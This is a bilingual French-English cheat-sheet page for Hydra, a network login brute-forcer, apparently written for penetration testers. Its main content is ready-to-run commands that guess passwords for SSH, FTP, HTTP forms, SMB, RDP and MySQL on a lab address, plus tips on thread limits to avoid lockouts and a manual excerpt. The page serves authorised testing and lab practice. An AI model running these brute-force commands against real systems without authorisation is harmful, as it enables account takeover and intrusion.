Hydra
Craqueur de connexions réseau rapide supportant des dizaines de protocoles : SSH, FTP, HTTP, SMB, et plus encore. Fast network login cracker supporting dozens of protocols — SSH, FTP, HTTP, SMB, and more.
↗ https://github.com/vanhauser-thc/thc-hydraOverview
Hydra is the go-to tool for online brute-force attacks against network services. It supports parallelised attacks across 50+ protocols.
Common Usage
# SSH
hydra -l admin -P rockyou.txt ssh://10.10.10.1
hydra -L users.txt -P passwords.txt ssh://10.10.10.1 -t 4
FTP
hydra -l admin -P rockyou.txt ftp://10.10.10.1
HTTP POST form
hydra -l admin -P rockyou.txt 10.10.10.1 http-post-form \
"/login:username=^USER^&password=^PASS^:Invalid credentials"
HTTP GET (Basic Auth)
hydra -l admin -P rockyou.txt http-get://10.10.10.1/admin
SMB
hydra -L users.txt -P passwords.txt smb://10.10.10.1
RDP
hydra -l administrator -P rockyou.txt rdp://10.10.10.1 -t 1
MySQL
hydra -l root -P rockyou.txt mysql://10.10.10.1
Tips
- Use
-tto limit threads (some services lock after N failures) -vverbose,-Vshows each attempt-s <port>to specify non-standard port- For HTTP forms: inspect the login request in Burp to get the exact POST format and failure string
Help / Man page
hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]]
[-e nsr] [-o FILE] [-t TASKS] [-M FILE] [-f] [-s PORT]
[-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46]
[-m MODULE-OPT] [service://server[:PORT][/OPT]]
TARGET OPTIONS:
-l LOGIN Single username
-L FILE Username list
-p PASS Single password
-P FILE Password list
-C FILE Colon-separated login:pass file
-M FILE List of servers to attack
SERVICE OPTIONS:
service://server e.g. ssh://10.10.10.1
Supported: ftp, http-get, http-post-form, https-get,
https-post-form, smb, ssh, rdp, mysql,
mssql, postgres, smtp, pop3, imap, ...
PERFORMANCE:
-t TASKS Parallel tasks per host (default: 16)
-f Stop after first valid pair found
-F Stop after first valid pair per host
HTTP POST FORM FORMAT:
"/path:post_data:failure_string"
Use ^USER^ and ^PASS^ as placeholders
Failure string: text that appears on failed login
OTHER:
-e n Try empty password
-e s Try login as password
-e r Try reversed login as password
-v Verbose, -V show each attempt
-o FILE Save found credentials to file
Vue d’ensemble
Hydra est l’outil de référence pour les attaques par brute-force en ligne contre les services réseau. Il supporte des attaques parallélisées sur plus de 50 protocoles.
Utilisation courante
# SSH
hydra -l admin -P rockyou.txt ssh://10.10.10.1
hydra -L users.txt -P passwords.txt ssh://10.10.10.1 -t 4
# FTP
hydra -l admin -P rockyou.txt ftp://10.10.10.1
# Formulaire POST HTTP
hydra -l admin -P rockyou.txt 10.10.10.1 http-post-form \
"/login:username=^USER^&password=^PASS^:Invalid credentials"
# HTTP GET (Authentification Basic)
hydra -l admin -P rockyou.txt http-get://10.10.10.1/admin
# SMB
hydra -L users.txt -P passwords.txt smb://10.10.10.1
# RDP
hydra -l administrator -P rockyou.txt rdp://10.10.10.1 -t 1
# MySQL
hydra -l root -P rockyou.txt mysql://10.10.10.1
Conseils
- Utiliser
-tpour limiter les threads (certains services bloquent après N échecs) -vverbeux,-Vaffiche chaque tentative-s <port>pour spécifier un port non standard- Pour les formulaires HTTP : inspecter la requête de connexion dans Burp pour obtenir le format POST exact et la chaîne d’échec
Aide / Page de manuel
hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]]
[-e nsr] [-o FILE] [-t TASKS] [-M FILE] [-f] [-s PORT]
[-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46]
[-m MODULE-OPT] [service://server[:PORT][/OPT]]
TARGET OPTIONS:
-l LOGIN Single username
-L FILE Username list
-p PASS Single password
-P FILE Password list
-C FILE Colon-separated login:pass file
-M FILE List of servers to attack
SERVICE OPTIONS:
service://server e.g. ssh://10.10.10.1
Supported: ftp, http-get, http-post-form, https-get,
https-post-form, smb, ssh, rdp, mysql,
mssql, postgres, smtp, pop3, imap, ...
PERFORMANCE:
-t TASKS Parallel tasks per host (default: 16)
-f Stop after first valid pair found
-F Stop after first valid pair per host
HTTP POST FORM FORMAT:
"/path:post_data:failure_string"
Use ^USER^ and ^PASS^ as placeholders
Failure string: text that appears on failed login
OTHER:
-e n Try empty password
-e s Try login as password
-e r Try reversed login as password
-v Verbose, -V show each attempt
-o FILE Save found credentials to file